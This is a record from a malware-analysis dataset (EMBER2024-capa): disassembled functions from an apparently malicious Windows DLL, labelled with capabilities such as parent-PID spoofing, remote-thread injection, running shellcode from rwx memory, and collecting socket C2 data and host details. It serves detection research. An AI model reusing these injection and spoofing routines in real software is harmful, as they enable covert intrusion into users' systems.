joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100056dd
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push edi
push 0
push 0
push dword [ebp + 8]
call esi
mov edi, eax
test edi, edi
jne 0x100056fb
xor eax, eax
jmp 0x1000571c
lea eax, [edi + 1]
cmp eax, dword [ebp + 0x10]
jae 0x100056f7
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call fcn.1001c790
add esp, 0xc
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
pop edi
pop esi
pop ebp
ret

Function at 0x10005a83
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov ebx, eax
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push dword [ebp + 0x10]
cmp eax, dword [ebp + 0xc]
jne 0x10005ac7
call fcn.100059f2
pop ecx
test eax, eax
je 0x10005b76
mov ecx, dword [ebp + 0x14]
push 0
push 0
push dword [ebp + 0x18]
add eax, ecx
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x10005b76
push dword [ebp + 8]
call fcn.10005925
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x10005b76
test esi, esi
je 0x10005afd
push dword [ebp + 0x18]
mov eax, dword [ebp + 0x14]
add eax, ebx
push eax
sub esp, 0x10
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.10006645
add esp, 0x18
test eax, eax
jne 0x10005b76
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.100046c2
pop ecx
test eax, eax
je 0x10005b2e
push dword [ebp + 8]
call fcn.100046c2
pop ecx
test eax, eax
jne 0x10005b2e
mov eax, dword [ebp + 0x14]
push dword [ebp + 0x18]
add ebx, eax
push ebx
push dword [ebp + 8]
call fcn.1000650b
jmp 0x10005b5f
mov eax, dword [ebp + 0x14]
push dword [ebp + 0x18]
add ebx, eax
push ebx
push dword [ebp + 8]
call fcn.100066f2
add esp, 0xc
test eax, eax
jne 0x10005b76
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp + 0x18]
mov ecx, ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], eax
push dword [ebp + 8]
call fcn.10006340
add esp, 0xc
test eax, eax
jne 0x10005b76
push dword [ebp - 4]
push dword [ebp + 0xc]
push 0x20
call fcn.10001b1a
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005e7b
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
mov ebx, dword [ebp + 0x28]
push esi
push edi
push ebx
call fcn.1000a9b9
pop ecx
push 0x44
pop edi
push edi
xor esi, esi
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.1001c790
mov dword [ebp - 0x74], edi
xor eax, eax
lea edi, [ebp - 0x28]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0x100000
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], 0xc
mov dword [ebp - 0x10], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor eax, eax
mov word [ebp - 0x44], ax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x28]
push eax
push ebx
push dword [ebp + 0x24]
lea edi, [ebp - 0x74]
mov dword [ebp - 0x48], 0x101
mov dword [ebp - 0x3c], esi
call fcn.1000a7da
add esp, 0xc
test eax, eax
jne 0x10005f15
push ebx
jmp 0x10005fb1
push dword [ebp - 0x20]
push esi
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, esi
jne 0x10005f47
push ebx
call fcn.1000a9db
pop ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp - 0x20]
push 0x21
call fcn.10001b1a
add esp, 0xc
jmp 0x10005fb7
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [ebp + 0x1c]
cmp ebx, esi
jbe 0x10005f63
push dword [ebp + 0x18]
push edi
call fcn.10005925
pop ecx
pop ecx
jmp 0x10005f65
xor eax, eax
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x28]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 0x20]
push edi
push eax
call fcn.10005b7b
add esp, 0x1c
cmp dword [ebp + 8], esi
jbe 0x10005f91
push dword [ebp + 8]
push dword [ebp - 0xc]
call fcn.10006cbd
pop ecx
pop ecx
push dword [ebp + 0x20]
lea esi, [ebp - 0x28]
push dword [ebp - 8]
push dword [ebp - 0xc]
sub esp, 0x10
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.10006952
add esp, 0x1c
push dword [ebp + 0x28]
call fcn.1000a9db
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000607c
Capabilities:
Spoof parent pid

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
cmp dword [ebp + 0x20], edi
jne 0x100060b1
push dword [ebp + 0x1c]
mov eax, dword [ebp + 0x14]
push dword [ebp + 0x18]
mov ecx, dword [ebp + 8]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.10004f2f
add esp, 0x10
jmp 0x1000621f
push dword [ebp + 0x20]
push edi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
cmp eax, edi
jne 0x100060e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [ebp + 0x20]
push 0x22
call fcn.10001b1a
add esp, 0xc
jmp 0x1000621d
mov esi, dword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
lea eax, [ebp - 0xc]
push eax
push edi
push 1
push edi
call esi
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
mov dword [ebp - 0x10], ebx
cmp ebx, edi
je 0x10006211
lea eax, [ebp - 0xc]
push eax
push edi
push 1
push ebx
call esi
test eax, eax
je 0x10006211
push edi
push edi
push 4
lea eax, [ebp - 8]
push eax
push 0x20000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x10006211
mov ecx, dword [ebp + 0x10]
lea ebx, [ecx + 0x3c]
mov eax, dword [ebx]
cmp eax, edi
je 0x10006178
mov ecx, dword [ecx + 0x40]
cmp ecx, edi
je 0x10006176
cmp eax, ecx
jne 0x10006176
push 1
push 1
push 2
push ebx
push dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov eax, dword [ebx]
mov ecx, dword [ebp + 0x10]
mov dword [ecx + 0x40], eax
jmp 0x100061b2
cmp eax, edi
mov edi, dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
je 0x10006196
push 1
push 1
push 2
push ebx
push dword [ebp - 8]
push eax
call esi
push eax
call edi
mov eax, dword [ebp + 0x10]
add eax, 0x40
mov ecx, dword [eax]
test ecx, ecx
je 0x100061b2
push 1
push 1
push 2
push eax
push dword [ebp - 8]
push ecx
call esi
push eax
call edi
mov eax, dword [ebp + 0x18]
mov esi, dword [ebp + 0x10]
push 0x11
pop ecx
push dword [ebp + 0x1c]
or eax, 0x80000
push eax
lea eax, [ebp - 0x5c]
push eax
push dword [ebp + 0xc]
mov eax, dword [ebp + 0x14]
lea edi, [ebp - 0x5c]
rep movsd dword es:[edi], dword [esi]
mov edi, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x5c], 0x48
mov dword [ebp - 0x18], edi
call fcn.10004f2f
add esp, 0x10
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, esi
jmp 0x1000621f
push dword [ebp + 0x20]
push 0x1b
call fcn.10001ad4
pop ecx
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000650b
Capabilities:
Allocate or change rwx memory
Check os version
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
mov eax, dword [0x10032010]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor edi, edi
push 0x90
lea eax, [ebp - 0x94]
push edi
push eax
mov dword [ebp - 0x98], edi
call fcn.1001c790
push 4
call fcn.1000a544
add esp, 0x10
test eax, eax
jne 0x1000654e
xor eax, eax
jmp 0x10006638
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x10006547
cmp dword [ebp - 0x94], 5
jne 0x10006585
cmp dword [ebp - 0x90], 2
jne 0x10006585
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x10006547
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
mov ebx, 0x3000
push ebx
push 0x4c
push edi
call esi
mov dword [ebp - 0x9c], eax
cmp eax, edi
je 0x1000660c
push 0x40
push ebx
push 0x149
push edi
call esi
mov ebx, eax
cmp ebx, edi
je 0x1000660c
mov edi, dword [ebp - 0x9c]
mov eax, dword [ebp + 8]
push 0x13
pop ecx
push 0x4a
mov esi, 0x10034120
rep movsd dword es:[edi], dword [esi]
pop ecx
mov esi, 0x10034170
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea esi, [ebx + 0x129]
and dword [esi + 0x18], 0
mov dword [esi], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp + 0x10]
push esi
push ebx
mov dword [esi + 0x10], eax
call dword [ebp - 0x9c]
test eax, eax
jne 0x100065fd
push 5
jmp 0x10006606
mov esi, dword [esi + 0x18]
test esi, esi
jne 0x10006610
push 6
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x10006636
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, 0x4000
push edi
push 0
push dword [ebp - 0x9c]
call esi
push edi
push 0
push ebx
call esi
xor eax, eax
inc eax
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.100148e0
leave
ret

Function at 0x10006645
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
mov eax, dword [0x10032010]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea esi, [ebp + 8]
lea edi, [ebp - 0x2e0]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [ebp + 0x18]
push 2
call fcn.1000a544
pop ecx
test eax, eax
jne 0x1000667a
xor eax, eax
jmp 0x100066e4
cmp dword [ebp + 0x1c], 0
jne 0x10006676
push dword [ebp - 0x2e0]
call fcn.1000928e
pop ecx
test eax, eax
jne 0x10006676
lea eax, [ebp - 0x2d0]
push eax
push dword [ebp - 0x2dc]
mov dword [ebp - 0x2d0], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10006676
lea eax, [ebp - 0x2d0]
push eax
push dword [ebp - 0x2dc]
mov dword [ebp - 0x220], esi
call dword [sym.imp.KERNEL32.dll_________________]
test eax, eax
je 0x10006676
push dword [ebp - 0x2dc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100148e0
leave
ret
Function at 0x100066f2
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 1
call fcn.1000a544
pop ecx
test eax, eax
jne 0x10006703
pop ebp
ret
xor eax, eax
push eax
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
pop ebp
ret

Function at 0x10006b66
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], esi
push esi
lea eax, [ebp - 8]
push eax
push esi
push esi
push esi
push dword [ebp + 8]
call edi
test eax, eax
jne 0x10006bc0
or eax, 0xffffffff
jmp 0x10006bc8
cmp dword [ebp - 4], 0x80000
jae 0x10006bc5
push esi
lea eax, [ebp - 0xc]
push eax
mov eax, 0x80000
sub eax, dword [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0xc]
add dword [ebp - 4], eax
add dword [ebp + 0xc], eax
jmp 0x10006b7c
cmp dword [ebp - 8], esi
ja 0x10006b92
mov eax, dword [ebp - 0xc]
pop edi
pop esi
leave
ret

Function at 0x100074cd
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
xor ebx, ebx
push ebx
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
xor edi, edi
call esi
test eax, eax
je 0x10007535
cmp dword [ebp - 4], 4
jne 0x10007535
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 0x10]
jg 0x10007535
cmp eax, ebx
jle 0x10007531
push ebx
lea ecx, [ebp - 4]
push ecx
sub eax, edi
push eax
mov eax, dword [ebp + 0xc]
add eax, edi
push eax
push dword [ebp + 8]
call esi
test eax, eax
je 0x10007535
cmp dword [ebp - 4], ebx
je 0x10007535
add edi, dword [ebp - 4]
mov eax, dword [ebp - 8]
cmp edi, eax
jl 0x1000750b
mov eax, edi
jmp 0x10007538
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000753d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
xor edi, edi
push edi
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 8]
mov dword [ebp - 4], edi
call esi
cmp eax, edi
je 0x1000759e
cmp dword [ebp - 4], 4
jne 0x1000759e
cmp dword [ebp + 0x10], edi
jle 0x100075a0
mov eax, dword [ebp + 0x10]
sub eax, edi
cmp eax, 0x2000
jle 0x1000757e
mov eax, 0x2000
push 0
lea ecx, [ebp - 4]
push ecx
push eax
mov eax, dword [ebp + 0xc]
add eax, edi
push eax
push dword [ebp + 8]
call esi
test eax, eax
je 0x1000759e
add edi, dword [ebp - 4]
cmp edi, dword [ebp + 0x10]
jl 0x1000756d
jmp 0x100075a0
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x1000763f
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov ebx, dword [sym.imp.WS2_32.dll_ioctlsocket]
mov esi, eax
add esi, dword [ebp + 0xc]
lea eax, [ebp - 8]
push eax
push 0x8004667e
push dword [ebp + 8]
mov dword [ebp - 8], 1
call ebx
cmp eax, 0xffffffff
jne 0x100076a4
xor eax, eax
jmp 0x100076d3
push 2
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x100076b5
jg 0x100076ac
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x100076b5
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
call edi
cmp eax, esi
jb 0x10007678
jmp 0x100076b9
mov dword [ebp + 0xc], 1
jmp 0x100076b9
and dword [ebp + 0xc], 0
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 0x8004667e
push dword [ebp + 8]
call ebx
inc eax
neg eax
sbb eax, eax
and eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10007710
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
push edi
xor edi, edi
push edi
push 4
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call esi
cmp eax, 0xffffffff
je 0x1000775f
cmp eax, 4
jne 0x1000775f
mov eax, dword [ebp - 4]
test eax, eax
jle 0x10007762
push 0
sub eax, edi
push eax
mov eax, dword [ebp + 0xc]
add eax, edi
push eax
push dword [ebp + 8]
call esi
cmp eax, 0xffffffff
je 0x1000775f
add edi, eax
mov eax, dword [ebp - 4]
cmp edi, eax
jl 0x1000773f
jmp 0x10007762
or eax, 0xffffffff
pop edi
pop esi
leave
ret

Function at 0x100077c7
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0x8004667e
push edi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov eax, fcn.100077c6
mov dword [esi + 0x14], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 4], edi
mov dword [esi + 8], 0x10007766
mov dword [esi + 0xc], 0x1000777b
mov dword [esi + 0x10], 0x10007794
mov dword [esi + 0x18], 0x100077b1
mov eax, esi
leave
ret
Function at 0x1000787e
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10041da8]
push ebx
push esi
push edi
push 0x294
mov dword [ebp - 0x14], eax
call fcn.10007a9f
mov edx, eax
mov ebx, 0x94
pop ecx
mov esi, ebx
mov dword [ebp - 8], edx
call fcn.10007b4f
add esi, 0x6c
mov edi, eax
call fcn.10007b4f
mov dword [ebp - 0x10], eax
call fcn.10007b4f
lea ecx, [ebp - 4]
push ecx
push eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call fcn.1000aee8
test eax, eax
je 0x100078ea
push 2
push 0x1002d9e4
push esi
push dword [ebp - 0xc]
call fcn.10015327
add esp, 0x10
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebx
push 0
push edi
call fcn.1001c790
add esp, 0xc
push edi
mov dword [edi], ebx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
call fcn.1000d47c
mov ebx, eax
test ebx, ebx
jne 0x1000792b
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.100046c2
pop ecx
test eax, eax
je 0x1000792e
xor eax, eax
inc eax
push ebx
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.100032cb
push eax
push dword [edi + 8]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push dword [ebp - 0x14]
push str._d_t_d_t_d._d_t_s_t_s_t_s_t_d_t_d
push esi
push dword [ebp + 8]
call fcn.10014b26
mov eax, dword [ebp + 8]
add esp, 0x30
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10007963
sub eax, ecx
mov edi, eax
cmp edi, 0x59
jle 0x10007976
push 0x59
pop edi
mov esi, dword [ebp - 8]
call fcn.10007adf
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10007c1d
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
push edi
mov edi, eax
jle 0x10007c4b
mov eax, dword [ebp + 0xc]
push 0
sub eax, esi
push eax
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
add edi, eax
add esi, eax
cmp eax, 0xffffffff
je 0x10007c51
cmp esi, dword [ebp + 0xc]
jl 0x10007c2b
mov eax, esi
pop edi
pop esi
pop ebp
ret
push 2
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [ebp + 8]
call sub.WS2_32.dll_closesocket
or eax, 0xffffffff
jmp 0x10007c4d
Function at 0x10007ce5
Capabilities:
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10032010]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
inc esi
push edi
mov dword [ebp - 0x18], esi
call fcn.1000229b
push 0
push esi
push 2
call sub.WS2_32.dll_socket
mov esi, eax
or edi, 0xffffffff
cmp esi, edi
jne 0x10007d19
mov eax, edi
jmp 0x10007d6d
push 2
pop eax
push dword [ebp + 8]
mov word [ebp - 0x14], ax
call sub.WS2_32.dll_htons
and dword [ebp - 0x10], 0
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x18]
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, edi
jne 0x10007d4c
push esi
call sub.WS2_32.dll_closesocket
jmp 0x10007d15
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, edi
je 0x10007d44
push dword [ebp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, edi
je 0x10007d44
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100148e0
leave
ret

Function at 0x10007dcf
Capabilities:
Connect udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
mov eax, dword [0x10032010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov eax, dword [esi]
push edi
xor ebx, ebx
inc ebx
push eax
mov edi, edx
mov dword [ebp - 0x420], ebx
add esi, 4
mov dword [ebp - 0x41c], eax
call sub.WS2_32.dll_ntohl
mov dword [ebp - 0x428], eax
movzx eax, word [esi]
inc esi
push eax
inc esi
sub edi, 6
call sub.WS2_32.dll_ntohs
movzx eax, ax
mov dword [ebp - 0x424], eax
mov eax, 0x3ff
cmp edi, eax
jl 0x10007e2b
mov edi, eax
push edi
lea eax, [ebp - 0x408]
push esi
push eax
call fcn.1001b5b0
add esp, 0xc
mov byte [ebp + edi - 0x408], 0
call fcn.1000229b
push 0
push ebx
push 2
call sub.WS2_32.dll_socket
mov esi, eax
or edi, 0xffffffff
cmp esi, edi
jne 0x10007e7a
push edi
call sub.WS2_32.dll_closesocket
push 4
lea eax, [ebp - 0x41c]
push 4
push eax
call fcn.10001355
add esp, 0xc
jmp 0x10007f06
lea eax, [ebp - 0x408]
push eax
call sub.WS2_32.dll_gethostbyname
test eax, eax
jne 0x10007e8d
push esi
jmp 0x10007e5d
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x414]
push eax
call fcn.1001b5b0
add esp, 0xc
push 2
pop eax
push dword [ebp - 0x424]
mov word [ebp - 0x418], ax
call sub.WS2_32.dll_htons
mov word [ebp - 0x416], ax
lea eax, [ebp - 0x420]
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, edi
je 0x10007e8a
push 0x10
lea eax, [ebp - 0x418]
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, edi
jne 0x10007ef9
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10007e8a
mov ebx, dword [ebp - 0x428]
push esi
call fcn.10007cca
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100148e0
leave
ret
Function at 0x10007f15
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov ebx, eax
add ebx, 0x7530
and dword [ebp - 8], 0
mov dword [ebp - 4], 0x64
jmp 0x10007fcd
mov eax, dword [edi + 0x1c]
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x10c], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x218]
push eax
xor ecx, ecx
inc ecx
push 0
push 0
mov dword [ebp - 0x218], ecx
mov dword [ebp - 0x110], ecx
call dword [sym.imp.WS2_32.dll_select]
lea eax, [ebp - 0x110]
push eax
push dword [edi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x10007fd7
lea eax, [ebp - 0x218]
push eax
push dword [edi + 0x1c]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x10007fcd
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0x1c]
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
jne 0x10007fd7
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10007fd7
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
cmp eax, ebx
jb 0x10007f40
pop esi
pop ebx
leave
ret
Function at 0x100082a4
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
mov esi, dword [0x1003e900]
push edi
xor edi, edi
test esi, esi
je 0x1000832a
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, dword [esi + 4]
test eax, eax
jne 0x100082ca
cmp dword [esi + 0xc], eax
jne 0x100082d5
call ebx
mov dword [esi + 0xc], eax
mov edi, esi
mov esi, dword [esi + 0x20]
test esi, esi
jne 0x100082b9
jmp 0x10008329
test eax, eax
jne 0x100082ca
call ebx
sub eax, dword [esi + 0xc]
cmp eax, 0x3e8
jbe 0x100082ca
cmp dword [esi + 0x10], 0
jne 0x100082f6
push 2
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [esi + 0x1c]
call sub.WS2_32.dll_closesocket
test eax, eax
je 0x10008308
cmp dword [esi + 0x10], 2
je 0x100082ca
mov eax, dword [esi + 0x20]
push esi
test edi, edi
je 0x1000831e
mov dword [edi + 0x20], eax
call fcn.100148ef
mov esi, dword [edi + 0x20]
pop ecx
jmp 0x100082cf
mov dword [0x1003e900], eax
call fcn.100148ef
pop ecx
pop ebx
pop edi
pop esi
ret

Function at 0x1000832d
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
push esi
mov esi, dword [0x1003e900]
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
cmp dword [0x1003e904], ebx
jne 0x100083fa
push 0x100000
call fcn.100149cc
pop ecx
mov dword [0x1003e904], eax
jmp 0x100083fa
cmp dword [esi + 4], 1
jne 0x100083f7
push dword [esi]
call sub.WS2_32.dll_htonl
mov ecx, dword [0x1003e904]
mov dword [ecx], eax
lea eax, [ebp - 4]
push eax
push 0x4004667f
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp dword [ebp - 4], 0xffffc
jbe 0x1000839e
mov dword [ebp - 4], 0xffffc
cmp eax, 0xffffffff
je 0x100083c2
cmp dword [ebp - 4], ebx
jbe 0x100083f7
push dword [ebp - 4]
mov eax, dword [0x1003e904]
push dword [esi + 0x1c]
add eax, 4
call fcn.10007c1d
pop ecx
pop ecx
cmp eax, 0xffffffff
jne 0x100083d9
push 4
push 4
push dword [0x1003e904]
mov dword [esi + 4], ebx
call fcn.10001355
add esp, 0xc
jmp 0x100083f7
mov ecx, dword [ebp - 4]
cmp eax, ecx
jne 0x100083f7
push 5
add ecx, 4
push ecx
push dword [0x1003e904]
call fcn.10001355
add esp, 0xc
inc dword [ebp - 8]
mov esi, dword [esi + 0x20]
cmp esi, ebx
jne 0x10008363
mov eax, dword [ebp - 8]
pop esi
pop ebx
leave
ret